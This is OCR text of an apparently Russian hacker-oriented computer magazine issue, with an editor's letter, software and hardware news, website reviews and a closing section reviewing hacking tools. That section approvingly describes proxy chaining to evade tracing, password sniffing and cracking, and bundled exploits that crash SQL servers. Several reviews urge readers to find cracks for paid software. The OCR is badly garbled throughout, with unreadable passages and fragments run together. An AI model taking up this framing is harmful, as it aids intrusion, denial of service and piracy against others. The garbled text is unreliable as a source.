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Привет ALL! 


Вот и закончилась еще одна серия Спецов - WEB. На 
этот раз мы выстрелили очередью из четырех номе- 
ров - надеюсь, хедшотов будет достаточно много, 
чтоб ты, приятель, и твои друзья решились, наконец, 
взяться за разработку собственных сайтов. Если не 
мы - хаксоры - кто же еще сделает инет большим, 
удобным, информативным, мягким и пушистым :). 


Ok, прекращаю агитацию в.пользу любимой мной 
философии OPEN SOURCE :). Лучше не буду Bona это 
самое, а сразу освещу интересующий, наверное, мно- 
гих перцев вопрос: следующая серия Спецов будет 
посвящена ОСям! Жоди три номера: ОСи для noBceg- 
невного юзанья, ОСи для хака и ОСи для работы. Мы 
решили не писать про.каждую ОСЬ отдельно по нес- 
кольким причинам. Во-первых, некоторые из них сов- 
сем мелкие и малоизвестные, поэтому писать про эти 
ОСьки отдельный номер не хочется, а не писать вооб- 
щеничего.-тожегалимо :(. Во-вторых, нам просто нра- 
вится такой.способ подачи инфы: сразу видно, в ка- 
кой OS что и как лучше сделано, и для чего ее удобно 
юзать. Короче, как выразился один очень древний 
хаксор, все познается в сравнении. Так что на протя- 
жении трех.номеров мы будем сравнивать разные 
ОСи со всех сторон ;). 


Кстати, когда начнешь читать номер, обрати внима- 
ние, сколько в нем изменений. Ну, конечно, дизигн - 
это ты заметишь невооруженным глазом или даже 
вообще без глаза ;) ‘все поменялось в корне. Еще мы 
убрали некоторые постоянные рубрики. Но не рас- 
страивайся, если они тебе нравились: со следующего 
номера весь тираж Спеца будет укомплектован дис- 
ком (!), инанем можно будет найти инофу из этих руб- 
рик. Так что они не.делитнулись, а временно положе- 
ны в треш :). 


О прочем содержании СР пока никаких дополнитель- 
ных секретов раскрывать не буду, но, поверь мне, 
сюрпризов будет очень много. Во всяком случае, я 
обещаю, что, вставив наш диск в лоток ЦД-рома, тыне 
увидишь перед собой очередной банальный сидюк из 
компьютерного журнала с стандартным набором ха- 
лявного сосфта и дров (у нас это, конечно, тоже будет, 
но не только). Так что жди - болвань скоро нагрянет! 
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Хорошим вопросам требуются хорошие ответы 
acces 
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Мы находим для них лучилья в интерната, Пожалуйста, помогите нам. 


Een у вас есть хороший OTST, разьнеститие его ва «Андеюсае — мы обещаны, 


чта ета увнлят TONED MM, задаваине состватствуюищий BON POC. 
Это, собственная, и называется чюонтвестная раклзиаан 
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авно, очень давно я не 

встречал такой полезной 

проги. Это любовь с перво- 
го взгляда. После недели безус- 
пешных поисков лекарства к про- 
ге мне стала приходить в голову 
мысль ее купить. Такой вердикт - 
это высшая похвала из моих уст :). 
В чем же фишка проги? Сущест- 
вует огромное количество утили- 
ток, добавляющих в контекстное 
меню виндов какую-нибудь полез- 
ную функцию: начиная от превью 
изображения и заканчивая копи- 
рованием пути к файлу. Подозре- 
ваю, что разработчики ShellToys 
не один день провели в Сети, ища 
подобные программы, чтобы по- 
том воплотить их все в одном тво- 
рении. Всего они воплотили 33 
расширения для контекстного ме- 
ню. Рассказывать о них можно 
долго, упомяну лишь самые инте- 
ресные. Это превью изображения 
и просмотр UHCpbI о медиа-файле, 
редактирование тегов (и то и дру- 
гое можно открыть во встроенном 
вьюере, правда, весьма простень- 
ком); несколько пунктов, служа- 
щих для переименования, удале- 
ния, выделения файлов и папок 
по сложным критериям (например, 
по маске); копирование пути к 
файлу; удаление без возможнос- 
ти восстановления, шифрование, 
разделение файла на несколько 
частей; просмотр и выдирание 
иконок, хранящихся в файле. Но и 
это еще не все! В прогу встроен 
приятный и удобный менеджер бу- 
фера обмена. Вызывается по ком- 
бинации горячих клавиш (Win+v 
по умолчанию) и хранит go 250 
элементов (только вот нафига 
столько надо :)). По умолчанию в 
контекстное меню встраивается 
общий пункт ShellToys, раскрыв 
который, ты увидишь все осталь- 
ные расширения. Их можно уб- 
рать из этого списка, а особо по- 
любившиеся - вынести в основное 
контекстное меню. Короче, прога - 
из разряда must have, обязатель- 
но скачай. Если, конечно, найдешь 
лекарство. Я нашел :). 
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идел скрины из Longhorn? 
E Что, ты даже не знаешь, что 

это такое? Моя... Longhorn - 
это следующая ось от Microsoft. Как 
обычно, заявлена супербезопас- 
ность, новая файловая система 
(очень любопытная, кстати) и новый 
удобный интерфейс. Так BOT, на скри- 
нах этот новый интерфейс и можно 
было изучить. Фишка в том, что 
больше нет пуска и панели задач - 
все заменяет хрень под названием 
Sidebar. Это многосрункциональная 
панель, на которую можно навесить 
кучу всего: начиная от лент новостей, 
заканчивая фирменными аналого- 
выми часиками. Народ посмотрел, 
сглотнул слюну и побежал ваять 
свои многочисленные Багы. Одним 
из первых более или менее достой- 
ных творений стал Dashboard. После 
скачки обнаружилось, что прога ра- 
ботает только под ХР и требует для 
работы .NET frameworks sp2. С уче- 
том того, что весит она почти 30 ме- 
гов, шанс на выставление положи- 
тельной оценки у проги стал просто 
мизерный :). Следующим ударом бы- 
ло то, что в памяти она жрет тоже 
почти 30 мегов. Ты еще продолжа- 


ешь читать? :). К тому же она глючит 
и вылетает :). Да и возможностей по- 
ка не особо много: существуют ком- 
поненты для проверки почты, управ- 
ления Winamp'om и WMP, для прос- 
мотра картинок, папок, синхрониза- 
ции с MS Outlook, просмотра лент но- 
востей, погоды (Москву у меня пока- 
зывать отказалась и вылетала с 
ошибкой :0). Ну и, конечно, фирмен- 
ные часики. Это, конечно, приятно, но 
не перекрывает и десятой доли не- 
достатков программы. Зато заставля- 
ет задуматься, какие системные тре- 
бования будут у Longhorn. Красота 
требует жертв, ну-ну... 
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бновился старичок, ветеран 
О даунлоадеров :). 

Как давно это было... Потом 
его место на моем винте занял 
Reget, потом Flashget. И вот, npoc- 
матривая новости, я наткнулся на 
свежую версию и решил скачать. 
Честно говоря, я уже довольно 
плохо помню, что было в предыду- 
щих версиях, так что расскажу про 
основные фишки целиком :). На 
первом месте стоит почти безуп- 
речный перехват ссылок в ослике и 
нетшкафе (встроенный). Для ос- 
тальных браузеров (оперы, напри- 
мер) придется качать плагины. 
Встроенная звонилка, шедулер, ftp- 
клиент и небольшой браузер - все 
это может оказаться нелишним, 
особенно при автоматизации за- 
дач. К фишкам автоматизации 
можно отнести и широкий выбор 
действий после закачки. Кроме уже 
стандартного обрыва связи и вык- 
лючения компьютера есть такая эк- 
зотика, как отправка письма на оп- 
ределенный адрес (было и раньше, 
но что-то никто не повторил пока). 
Особенно извращенные люди ис- 
пользуют эту опцию для отсылки 
подтверждения о скачке себе на 
мобильник :). Наконец-то появи- 
лось разделение сфайла на сегмен- 
ты перед скачкой. Причем сделано 
оно весьма любопытно: можно за- 
дать гибкие опции по количеству и 


размеру сегментов. В общем - все, 
что нужно от современного менес- 
жера скачки, в нем есть. Только вот 
интерфейс не больно красивый, да 
левые ключи постоянно проверяет 
в Инете. Придется покупать :). Так 
что я пока сэкономлю денег и поси- 
My Ha Flashget'e, ну а ты уж сам pe- 
шай, что лучше. 


Opera 7.03 3.2 mb without java, 12.6 mb with java 


Opa звонить в Opera soft- 
П ware и требовать денег за 

рекламу :). Хорошая тради- 
ция начинается: новый номер - но- 
вый билд Орега. Еще два месяца 
назад я предсказывал нечто по- 
добное. Зачем качать новую вер- 
сию, спросишь ты? Официальная 
причина выхода - нахождение оче- 
редного мега-страшного-бага-кото- 
рым-никто-не-воспользуется (мо- 
жешь почитать здесь: www.net- 
security.org/ vuln.php?id=2510) :). 
Об остальных изменениях Opera 
software молчит, как партизан. Ha- 
верное, стыдно :). Заодно выпусти- 
ли очередную бету седьмой оперы 
под линух. К тому времени, как ты 
будешь читать статью, обещали 
выпустить финальный релиз. А по- 
ка что рекламируют версию оперы 
для SonyEricsson P800. Кстати, со- 
ветую заглянуть на сайт 
www.myopera.net и скачать рус- 
ский пак для Орегат. Русский язык, 
русские поисковые машины и еще 
кое-какие мелочи - полезно и удоб- 


юблю маленькие и полез- 
ные проги. Да еще и от рус- 
ских авторов. Которые де- 
лают бесплатную регистрацию для 
бывших соотечественников (все 
равно деньги с нас требовать бес- 


полезно :)). Это сразу настраивает 
меня на добрый лад, о таких прогах 
я пишу с удовольствием (это намек 
для разработчиков :)). Тгау 
Commander попался мне на глаза 
вместе с пачкой похожих прог. Все 
они назывались Тгау-чего-то там и 
имели похожее назначение. Но... то 
ли они все были шароварные, а ис- 
кать лекарства мне совершенно не 
хотелось, то ли они были малофу- 
нкциональными - на винте остался 
жить только Tray Commander. Пос- 
ле установки проги у тебя в трее 
поселяется новый значок, а вместе 
с ним теряется порядка 5 мегов па- 
мяти - многовато будет, это минус. 
По правому клику вылезает симпа- 
тичная менюшка, которую можно 
настроить, как душе угодно. Можно 
сделать подменюшки (ну куда же 
без этого :)). На пункты меню нам 
предлагают вешать: запуск прог и 
открытие файлов; открытие папки 
обычной или папки системной; уп- 
равление CD-ROM'amy; перезагруз- 
ку, выключение и подобную фиг- 
ню; открытие урлов и написание 
писем; вставку текста. Можно так- 
же задать несколько команд под 
одним разделом и навесить на каж- 
дый пункт свою горячую клавишу. 
Не понравились мне в проге две 


но. Кстати, обязательно зайди на 
официальный сайт и скачай приг- 
лянувшийся тебе скин. Я уверен, 


вещи. Первая - что на открытие и 
закрытие сидюка нужно создать 
два разных пункта меню. Второе - 
что при редактировании менюш- 
ки нет drag'n'drop'a. Приходится 
каждый раз перемещать новый 
пункт меню к желаемому месту, 
активно кликая на кнопки 
"вверх/вниз". Не подумай, что я 
такой мелочный, просто я люблю 
удобный интерфейс :). 
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овый офисный сканер вы- 
[=] пустила компания Mustek, 

имя новинки Plug-n-Scan 
2400M. 
Сканер получился очень даже ни- 
чего, приятный дизайн, мягкий, не 
режущий глаз цвет. В нем исполь- 
зован 48-битный АЦП, Считываю- 
щий элемент - ССО-линейка, опти- 
ческое разрешение - 1200х2400 
dpi, интерполированное разреше- 
ние - 19200 dpi, разрядность цве- 
топередачи Color - 48/36-бит 
(внутренняя/внешняя), Grayscale 
- 16/12-6uT (внутренняя/внешняя), 
интерфейс USB. Сканер noggep- 
живает концепцию ScanExpress, 
согласно которой сканер обеспе- 
чивает качество цветопередачи 
согласно существующим стандар- 
там, кроме этого сканер умеет 
производить некоторые манипу- 
ляции с отсканированным изоб- 
ражением своими средствами. Не- 
обходимо отметить наличие 4+1 
кнопочного управления на nepeg- 
ней панели сканера, так как рань- 
ше оно присутствовало только в 
более дорогих моделях. Аппарат 
не слишком большой и не тяже- 
лый. Размеры - 436x261x80 мм, 
Bec - 2,2 кг. В комплект поставки 
входят две программы, это Ulead 
Photo Express SE и OCR Fine 
Reader 4.0 Sprint. Примерная це- 
на - $90. 


ПЕРЕДОВОЙ ПРИВОД 


OT MATSUSHITA ELECTRIC 


омпания Matsushita Electric 
| Gree свою новей- 

шую разработку, прототип 
нового пишущего CD привода, раз- 
работанного на основе нового «го- 
лубого» лазера (blue laser). Oco- 
бенностью данного привода явля- 
ется способность записывать дис- 
ки емкостью go 50 Гбайт. Компа- 
ния также представила прототипы 
новых CD-RW дисков. Запись на 
диски производится в два слоя, 50 
Гбайт на одну сторону. Приятно 
удивила скорость записи таких 
дисков - 33 Мбит/с, это почти в три 
раза быстрее, чем скорость записи 
современных DVD приводов. Ho- 
вые CD-RW диски в среднем pac- 
считаны на 10 тысяч циклов пере- 
записи, их поверхность состоит из 


НОВЫЕ МИНИ 
КОМПЬЮТЕРЫ 


последнее время разра- 
fe ботчикам и производите- 
лям компьютерного «же- 
леза» не дает покоя рынок зву- 
ковых карт, причем чем вызва- 
на такая активность совершен- 
но непонятно. Вот и Audiotrak - 
подразделение компании ESI - 
объявила о выпуске новой кар- 
ты, имя которой Audiotrak 
Prodigy 7.1. В отличие от npeg- 
шественника, карты Prodigy192 
(карта была одной из первых, 
поддерживающих 192 кГц), но- 
винка поддерживает стандарт 
71 и имеет хорошо проработан- 
ные драйвера. По словам ком- 
пании, основная фишка новой 
карты - технология Audiotrak 
Advanced NSP, суть которой 
заключаеться в доработанных 
драйверах, в которых реализо- 
вана поддержка как мультиме- 
дийных (Sensaura3D, ЕАХ 2.0, 
WMP9), так и профессиональ- 
ных интерфейсов (ASIO 2.0, 
GSIF, WDM/MME). Также обеща- 
ют, что все это разнообразие 
не будет сильно загружать про- 
цессор. Примерная цена карты 

составит $100. 
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германиево-сурмяно-теллуриевой 
пленки. При записи новый привод 
использует лазер с длинной волны 
405 нм и мощностью 10 MBT. 
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омпания Shuttle продолжа- 
К: выпуск своих barebone- 

систем, теперь это $540 и 
$550. 
Эти системы все больше и боль- 
ше пользуется спросом, так как 
машины собранные на основе 
продукции компании являются 
тихими и компактными, что зачас- 
тую является решающим ‹факто- 
ром при покупке компьютера. Как 
и в прошлых моделях, в системе 
используются малогабаритные 
материнские платы стандарта 
FlexATX. Система 5550 создана 
для процессоров Репйит 4 и вы- 
полнена на чипсете $15650/961 co 
встроенным видеоадаптером, 5.1- 
канальным звуком, сетевой кар- 
той 10/ЛООМбит, с четырьмя USB и 
тремя FireWire портами. 
Размеры $550 составляют васего 
лишь 2Z80x200x180 мм. Кроме то- 
го представители компании заве- 
ряют что при разработке новой 
модели были приняты дополни- 
тельные меры меры по снижению 
шума. Система $540 разработана 
для процессоров AMD и выполне- 
на на чипсете $15740/961, имеет 
полностью аналогичные интер- 
фейсные расширения. 
Вагебопе-система 5550 начнет 
поступать реселлерам уже сей- 
час, а система $540 начнет появ- 
ляться в продаже ближе к концу 
апреля. По предварительным gaH- 
ным, в мае компания Shuttle гото- 
вит к выпуску системы со слотом 
АСР. 


PHILIPS НАСТУПАЕТ 


и для кого не секрет, что KOM- 
[=| пания Creative, подавив всех 

конкурентов (в том числе ку- 
да более удачный на тот момент 
Aureal Vortex) прочно обоснова- 
лась на рынке звуковых карт и тем 
самым стала очень похожа на 
Microsoft. Но похоже, что теперь 
Creative придется поделиться пиро- 
TOM, имя которому рынок :). Philips - 
известный производитель электро- 
ники и бытовой техники - выпустила 
внешнюю звуковую карту стандар- 
та 5.1, имя новинки Р5С805 Aurilium. 
Новинка, судя по всем своим харак- 
теристикам, является прямым кон- 
курентом Extigy от Creative. Карта 
работает с 24-битным звуком, подк- 
лючается к компьютеру с помощью 
интерфейса USB 2.0. Новинка nog- 
держивает аппаратное декодирова- 


ние DTS и Dolby Digital. Первыми 
карту смогут оценить европейцы, 
начало продаж намечается на май, 
примерная стоимость 100 евро. 

Но это не единственная новинка. 
Philips не стала ограничиваться вы- 
пуском своей звуковой карты, и 
вслед за ней выпустила два набора 
акустики - это Acoustic АЗ Fusion 
310 и Acoustic АЗ Fusion 610. Пер- 
вый комплект включает в себя 3 ко- 
лонки системы 2.1. Заявленная 
мощность сабвуфера 20 Ватт, а 
двух сателлитов - 6 Ватт. Этот на- 


бор, конечно, не для новой звуко- 
вой карты, а для более дешевых 
систем, зато второй комплект как 
нельзя лучше подходит gna 
Aurilium. 

Он включает себя 6 колонок (систе- 
ма 5.1), сабвуфер 100 Ватт и пять са- 
теллитов по 20 Ватт. 

Новая акустика предположительно 
появится в то же время, что и зву- 
ковая карта и будет продаваться по 
100 и 270 евро соответственно. 


ЬТИМЕДИЙНЫЕ НОУТБУКИ OT FUJITSU 


_ 

ебезизвестная компания 
A Fujitsu объявила о начале 

выпуска мультимедийных 
All-in-One моделей линейки 
LifeBook С, основанных Ha про- 
цессорах Mobile Intel Pentium 4 
Processor-M. 


Серия безусловно интересная, 
хотя ее мультимедийность весь- 
ма относительна. Новинка вы- 
полнена в трехуровневом корпу- 
се на основе процессора Mobile 
Pentium 4-М с частотой 1,6 Ггц 
(чипсет 1845МР). Ноутбуки обла- 
дают 15-дюмовым экраном и ви- 
деокартой на основе Radeon 
7500 с 8 Мб памяти (что-то Mano- 
вато). Еще есть CD-ROM, DVD или 
DVD/CD-RW привод, 3.5 диско- 
Bog, винчестер от 20 go 40 Гб, 
256 Мб памяти 008266 расширя- 
емой go 512 Мб, двумя слотами 
РС card Туре II или одним Туре Ill. 
Все ноутбуки имеют полный на- 
бор современных интерфейсов: 
S-video выход, оптический циф- 
ровой SPDIF интерфейс, порт 


IEEE 1394, четыре порта USB, мо- 
gem, Ethernet. В мае планируется 
поставка версий с WiFi совмести- 
мым беспроводным LAN (IEEE 
802.15) интерфейсом. 

LifeBook С Series поставляются с 
установленной Microsoft 
Windows XP Home Edition unu 
Professional Edition, за всю эту 
роскошь хотят $2000. Не совсем 
понятно назначение новой ли- 
нейки, тот кто хочет хорошую, 
мультимедийную машину, купит 
себе обычный настольный 
компьютер, причем сэкономив 
при этом половину этих денег. 


ыы 


НОВОЕ ПОКОЛЕНИЕ ВЫБИРАЕТ WESTERN DIGITAL 


estern Digital, постепенно 
W восстанавливающая свой 

авторитет на Российском 
рынке (раньше винчестеры этой 
конторы безбожно сыпались и 
ломались), не забывает о своих 
пользователях и постоянно об- 
новляет свою продукцию новыми 
линейками устройств хранения 


данных. На этот раз компания со- 
общила о начале выпуска новой 
версии внешних FireWire/USB 2.0 
жестких дисков. Новинка отлича- 
ется от старой модели в основном 
емкостью, она на 50 Гбайт боль- 
ше (всего 250 Гбайт). Как и у 
предшественника, у нового вин- 
честера восьмимегабайтный бу- 


фер. А вот о дизайне необходимо 
рассказать подробнее. Новый 
винчестер упакован в прозрач- 
ный, пластиковый корпус и имеет 
по бокам две лампы. Как видно на 
фотографии, новинка выглядит 
весьма стильно, а в темноте (во 
время ночных бдений за компью- 
тером) зрелище будет просто 
фантастическое. Можно спорить, 
что в нашей стране первыми по- 
купателями будут фанаты компь- 
ютерного моддинга. Вид отмоден- 
ного компьютера - зрелище само 
по себе весьма впечатлительное, 
а если рядом будет стоять такое 
устройство... просто нет слов. В 
комплект поставки входят: 1,8 м 
кабель FireWire, 1,8 м кабель USB 
2.0, адаптер питания и руковод- 
ство пользователя. 
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| "т екстовые ресурсы ру- 
нета от Кузнецова". 
Сайт — оправдывает 
свое название. На нем собраны 
ссылки практически на все извест- 
ные текстовые ресурсы - электрон- 
ные библиотеки, он-лайн версии 
газет и журналов, сайты изда- 
тельств, книжные магазины, поис- 
ковики по библиотекам и T.g. К то- 
му же все это хорошо структуриро- 
вано. Одних русскоязычных биб- 
лиотек представлено 302 штуки! 
Кроме библиотек русских текстов 
есть небольшое количество и ре- 
сурсов с английскими и францу- 
зскими текстами. 
Сам сайт существует уже около 
четырех лет, что для рунета не- 
мало, но при этом не особо из- 
вестен, так что будет полезен 
многим отчаявшимся... 
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TOT сайт переводит всегда. И He 

только с немецкого. Единствен- 

ная его "проблема" - он сам 
англоязычный. На сайте собраны 
формы с лучших мировых он-пайн 
переводчиков. С русского на кучу 
языков и на русский - легко! Францу- 
зский, английский, итальянский, пор- 
Тугальский, испанский... еще с деся- 
ток! Хотя качество перевода с русско- 
го не блещет. В общем, в закладки. :) 
Кроме того, есть полезн ая штучка - 
Identify Language. Всем понятно? Тебе 
пришло письмо на тарабарском языке, 
ты вводишь его в CpopMy, и тебе гово- 
рят, что это за язык. 
Есть несколько срормочек по переводу це- 


лых мебстраниц. А вводишь только URL! 
Для знатоков мировых сайтов-переводчи- 
ковбудетинтересно, что здесь есть формы 
ot Freetranslation.com, от WorldLingo.com, от 


TranslationExperts, Google, Altavista и других. 
И это только один раздел сайта! Tam же 


можно найти подобный раздел с карта- 
ми городов, стран и массу другой инфры. 
Но, конечно, по-английски. 


меня ностальгия по старым 
Yl om. Если gna тебя слова 
Doom2, Civilization, Prince of 
Persia, Wolfenstein 3D тоже много 
значат и тебе хочется поиграть в ста- 
рые добрые игры - этот сайт для тебя. 
Многие из них уже давно стали ле- 
гендами, а по некоторым и книги на- 
писаны! Да-да, всем срочно читать 
"Принц госплана" Пелевина ;-). 
На Dosgames.ru можно пегко 
скачать все эти хиты прошлого 
столетия ;-). 
Игры рассортированы по жанрам, 
ведется ToplO - список самых попу- 
лярных игр - и список новых поступ- 
лений. Для сравнительно большо- 
го размера игр выложена для ска- 
чивания демо-версия игры. 
Еще на сайте выложена куча он- 


лайновых игр, чит-кодов к играм, 
обои по мотивам известных игр и 
многое другое. 

Можно подписаться на рассылку и 
еженедельно получать новости о 
свежепоступивших играх. 


продолжение темы сосрта - 
5 сайт для тех, кому нужны 

как раз новые, а не старые 
версии программ. 
Soft-obzor.ru - сайт довольно моло- 
дой, но уже хорошо себя зареко- 
мендовавший. Здесь в виде 90- 
вольно частых выпусков-обозре- 
ний рассматриваются новые версии 
программ, приводятся прямые 
ссылки на программы, поддержива- 
емые операционки, размер, интер- 
фейс и другое. Выпуски внушитель- 
ных размеров и со скриншотами. 
Кроме выпусков на сайте есть и 
постоянные разделы - статьи о 
программах, драйвера, каталог 
софта, обзоры игр. 
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айт в основном является 

сборником статей (как практи- 

ческих, так и теоретических) 
на разные темы. Основные разделы 
- компьютерные темы, астрономия, 
бытовые темы, искусственный ин- 
теллект, нейронные микросхемы. 
Все эти разделы представлены 
очень широко, новые статьи появ- 
ляются часто, астрономические 
статьи, в частности, написаны так, 
что будут интересны как интересу- 
ющимся, так и всем "для общего 
развития". Здесь обсуждается мно- 
го интересных спорных вопросов - 
о солнечной системе, о возникнове- 
нии жизни на земле, о тунгусском 
метеорите, отдельные статьи о всех 
планетах солнечной системы. 
В разделе компьютерных статей из 
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последних можно отметить практи- 
ческие руководства по программи- 
рованию Ha Delphi, статьи об алго- 
ритмах сжатия видео, о создании 
игр, "советы и подсказки по работе 
с Windows". 
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http://www.oldversion.com 


азвание сайта говорит 
ы обо всем. Никогда не 

сталкивался с ситуацией, 
когда новая супер-пупер-версия 
программы отказывается рабо- 
тать, а старая с сервера разра- 
ботчика давно исчезла? Но даже 
если нет таких проблем, иногда 
неплохо и поприкалываться ;-). 
Покажи другу на своем компе 
WinAMP версии 0.20 весом... в 
200 килобайт. А старую добрую 
98-ую "аську" не хочется пою- 
зать? Правда, говорят, ICQ-WHu- 
ки уже очень не любят таких... :(. 
В общем, Oldversion.com - свое- 
го рода антикварная лавка, в ко- 
торой можно найти привычные 
нам программы, но начиная с са- 
мых первых версий! 
Кроме содержания сайт и оформ- 
лен очень стильно и интересно. 


a зн: в ши: и зи ии лия 
дыни: 


Старый софт лучше новых двух 


Линки на программы содержатся 
в воображаемом "окне" Ргодгат 
Manager из Windows 3.11. Помня- 
щие былые времена меня поймут. 
Сам сайт англоязычный, распо- 
ложен на буржуйском сервере, 
так что проги качаются очень хо- 
рошо и быстро. 

= 


http://www.aferizm.ru 


|| | 3 тот сайт для тех, кто 
не хочет оказаться 
"лохом"." Так себя 
величают сами авторы сайта. В 
общем, они правы. Сайт посвя- 
щен всяческой подробной ин- 
формации о обманах, подделках, 
криминале. 
На сайте собрана информация о спо- 
собах обмана при покупке-продаже 
жилья, автомобиля, обмене валюты, 
аренде квартир, найме на работу и 
трудоустройстве за рубежом. 
Тут можно узнать, как отличить 
поддельные доллары, фальшивое 
золото. Интересная информация с 
реальными фактами о финансо- 
вых, виртуальных и других "пира- 
мидах", о аферах с пластиковыми 
картами и целителях-самозванцах. 


Мы не лохи, лохи не мы! 


Плюс еще масса статей и ссылок 
на статьи об аферах, преступле- 
ниях, "чудесах" и рассказы о жу- 
ликах прошлых лет и веков. 

Сайт часто обновляется и удобен 


при просмотре. 
ВЕ 


есмотря на явный немец- 
ы кий адрес сайта, он рус- 

скоязычен и будет инте- 
ресен мно-о-огим читателям. 
"Клуб ословодов-любителей" - 
так именует его владелец. Мно- 
гие уже поняли почему, для ос- 
тальных - поясняю. На сайте 
приводятся ссылки на музыку, 
фильмы, игры и тому подобное, 
доступные для скачивания че- 
рез р2р-сети типа Gnutella. Пом- 
нишь, как называлась одна из 
первых программ для этих се- 
тей? Правильно, eDonkey. В 
простонародии - "осел". 
Сайт обновляется каждый день, 
содержит уйму ссылок на уже 


переведенные фильмы и вполне 
может соревноваться с извест- 
ным Sharereactor.ru. 

и = 


"Весельчак У" - портал программистов 


тличный, часто обновляю- 

щийся сайт для програм- 

мистов. На сайте - масса 
разных статей по программирова- 
нию, несколько очень посещае- 
мых форумов, примеры программ, 
обзоры сосфта, новости из мира 
программинга и многое другое. 
Из недавно появившихся - очень 
интересный практический цикл 
статей по написанию драйверов. 
В рамках портала существует 
специальная баннерная сеть, по- 
казывающая баннеры только 
компьютерных сайтов. Сайт пос- 
тоянно развивается, есть вакан- 
сии авторов как старых разделов, 
так и для только создающихся. 
Для владельцев компьютер- 
ных сайтов - хостинг по сни- 
женным ценам. 


| 
Первым делом мы испортим самолеты... 


тличный сайт об авиации 

второй мировой войны. 

Представлена краткая ин- 
формация о самолетах Германии, 
СССР, США, Великобритании и 
Японии, принятых на вооружение 
в годы войны. Технические харак- 
теристики, история создания и 
проектирования, небольшая ‹о- 
тогалерея - все это здесь. 
Кроме этого, на сайте есть глоссарий 
с объяснением основных терминов. 
Сайт в стадии развития, но много 
любопытного нашел даже я, абсо- 
лютно не увлекающийся авиацией. 
Исторические материалы... 
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HOBOCTW/HACKING TOOLS & & \ 


Имя: Socks Chains 3.6 (build 113) 
Платформа: win (sce) 

Nonutuka: Shareware 

Весит: 2100 Кб 

Веб: http://www.ufasoft.com/socks 


мхо, пучшая программа в сво- 
и ем роде. Тем более, что лекар- 

ство к ней можно взять в Сети 
без напрягов. Если ты еще не понял, 
о каком виде сосрта идет речь, попу- 
лярно объясняю - работа с прокси- 
серверами. Наверняка ты часто читал 
внашем журнале и Интернете, что ха- 
кер для заметания следов юзал це- 
почку проксей ит.д. А вот с помощью 
чего эту самую цепочку построить? 
Можно просто в настройках сетевой 
проги (браузера, аськи ес) выста- 
вить адрес проксика, но ведь в его ло- 
гах будет лежать твой реальный IP. 
Но вот спасение! Socks Chains умеет 
строить цепочки проксей практичес- 
ки без ограничении по количеству 
серверов, правда чем больше, тем 
скорость ниже, но за анонимность на- 
go платить. Socks Chains работает с 
SOCKS 4 и 5, атакже с одним ТСР-со- 


Я ee 


единением, например с HTTP, IRC и 
1.0. А вот для Ftp нужно два соедине- 
ния, так что тут ждет облом :(. Но за- 
бей Ha FTP, ибо в сост заложена неп- 
лохая возможность смены цепочки 
раз в энцать секунд. Когда каждая ко- 


манда отдается на шелл с одного ад- 
реса, но проходя разные цепочки 
проксей, вычислить тебя просто не- 
возможно. Вот тебе и универсальная 
динамическая маскировка :). ap 

a 


Имя: Cain and Abel 2.5 
Платформа: win (sce) 
Политика: Freeware 


Весит: 2100 Кб 
Веб: http://www.oxid.it/ 


чень хорошая утилита из 
О разряда "снифоер, a также 

все в одном" :). Прога 
действительно очень стоящая, 
показывает, например, все plain 
text OBble логины и пароли gna 
ресурсов, на которых ты зареген. 
Впрочем, достать их из конфигов 
Эксплорера несложно, но сама 
возможность сделать это не отхо- 
дя от кассы выглядит соблазни- 
тельной. Сам сниффер будет па- 
хать только после установки 
WinpCap (http://winpcap.polito.it) 
версии 2.3 и выше, HO тут не стоит 
париться со скачиванием, так как 
библиотека идет в дистрибутиве. 
Редко такое бывает, но в этом 
случае разработчики не дремлют 


Ce ne ый 
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:). Сниффер действительно очень 
качественный - он умеет перехва- 
тывать пароли, Spoof ить не толь- 
ко IP-agpeca, но и МАС с DNS. Так- 
же имеется Cracker, так что дело 
только во времени и хорошем 
словаре. Снова шампунь и опо- 
ласкиватель в одном флаконе :). 
Кроме всего вышеперечисленно- 
го Cain and Abel умеет распозна- 
вать множество моделей маршру- 
тизаторов и роутеров и даже (!!) 
менять некоторые настройки уда- 
ленно. Как он это делает - 3arag- 
ка, но видимо авторы проги неп- 
лохо шарят в дырках вшитого в 
железяки ПО. Ну и в качестве бо- 
нуса простенький Тгасегоще и 
возможность делать дамп LSA за- 
писей :). Не забывай, что все это 
чудо еще и абсолютно 4free. Хотя 
весит дай боже... 
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Имя: SQLTools 1.0 
Платформа: win (sce) 
Политика: Freeware 

Весит: 84 Кб 

Веб: http://www.xfocus.org, 
http://www.opengram.com 


еальный набор важных 
PD evi для SQL-xakepa. 

Распространяется, есте- 
ственно, бесплатно :). В архив 
входит пять тулз, два коротень- 
ких примера словарей и файл 
помощи. Первая утилита это 
SQL Ping, предназначена для 
поиска и определения версии 
SQL сервака на удаленном 
компьютере. SQL Scanner ну- 
жен, если тебе просто надо най- 
ти сервак, вводи диапазон ag- 
ресов и жди. SQL Cracker npeg- 
назначен для перебора паро- 
лей для SQL-goctyna. Опять же 
бегом на поиски большого сло- 
варя. Последние две тулзы - 
скомпиленные версии нашу- 
мевших эксплоитов. Первый - 
SQL Dos Storm 2 для реализа- 
ции DoS-ataku, следствием ко- 
торой будет уход в даун SQL- 
сервера, и второй - тоже роняет 
сервак, но уже переполнением 
буфера. Такие пироги. 


еплохая программа для пас- 
Ft сивного определения удален- 

ной операционной системы. 
То есть если тебе позарез надо уз- 
нать, что за ось стоит у того ламера 
(на том серваке), то совсем необяза- 
тельно хитровытраханно мастурбиро- 
вать в окошке шелла. Для более 
продвинутого шпионажа использует- 
ся технология распознавания "отпе- 
чатков". Дело в том, что у каждой Оси 
есть свое определенное значение па- 
раметров пакета (TTL, размер окна). 
Так вот, Robota посылает тестовый 
запрос и по обратным пакетам смот- 
рит, что же там такое стоит. Распозна- 
ет не очень много систем, но уверен- 


но сообщит, что мы, к примеру, имеем 
дело с линуксом :). Пальцем в небо, 
конечно, но лучше, чем ничего :). Зато 
про винду расскажет много - если ув- 
лекаешься нюкингом, то проблема 
выбора (IGMP или SMB) стоять боль- 
ше не будет. Robota весит децл, фри- 
варна, так что можешь спокойно ка- 
чать для самостоятельного тестиро- 
вания и оценки. 


НОВОСТИ/НАСКИМС TOOLS 


Имя: Internet Maniac 1.26 
Платформа: win (все) 
Политика: Freeware (за давностию лет) 


Весит: 54 Кб 
Веб: www.yandex.ru/ 
yandsearch?text=internet+maniac 


Имя: Zebedee Secure Tunnel 2.4.1 
Платформа: win (sce), unix/linux 
Политика: Freeware 

Весит: 2100 Кб 

Веб: http://www.winton.org.uk/zebedee/ 


рога для создания защи- 
П щенного ТСР или UPD co- 

единения между двумя 
